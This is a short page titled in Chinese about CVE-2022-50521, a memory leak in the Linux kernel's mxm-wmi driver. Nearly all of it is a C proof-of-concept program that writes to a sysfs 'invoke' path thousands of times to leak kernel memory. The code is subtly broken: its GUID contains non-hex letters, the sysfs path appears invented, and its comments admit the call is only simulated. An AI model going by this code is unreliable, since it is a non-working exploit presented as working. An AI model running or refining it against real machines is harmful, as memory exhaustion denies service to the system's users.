CVE-2022-50521 Linux内核mxm-wmi驱动内存泄漏漏洞

/* CVE-2022-50521 PoC - Linux Kernel mxm-wmi Memory Leak * This PoC demonstrates how to trigger the memory leak by repeatedly * calling the vulnerable mxm_wmi_call_mxds/mxmx functions via sysfs * or direct ACPI interface. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> /* The MXM WMI GUID is defined in the kernel driver */ #define MXM_WMI_GUID "95F24279-4D7B-4334-9389-ACID2DA64B26" /* Method IDs for MXM functions */ #define MXM_WMI_CALL_MXDS 0 #define MXM_WMI_CALL_MXMX 1 int main(int argc, char *argv[]) { int iterations = 10000; int i; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2022-50521 PoC: Triggering mxm-wmi memory leak\n"); printf("Iterations: %d\n", iterations); /* Trigger the memory leak by repeatedly accessing mxm-wmi interface. * In a real scenario, this would be done via: * 1. Loading/unloading the mxm_wmi module * 2. Writing to mxm_wmi sysfs entries * 3. Directly calling ACPI evaluate method via /proc/acpi or similar * * Each call to mxm_wmi_call_mxds() or mxm_wmi_call_mxmx() leaks * an ACPI buffer allocated by wmi_evaluate_method(). */ for (i = 0; i < iterations; i++) { /* Simulate triggering the WMI method call. * In practice, use acpi_evaluate_object or similar interface. */ system("echo 1 > /sys/bus/wmi/devices/95F24279-4D7B-4334-9389-ACID2DA64B26/invoke 2>/dev/null"); } printf("Done. Check memory usage with 'free -m' to observe leak.\n"); return 0; }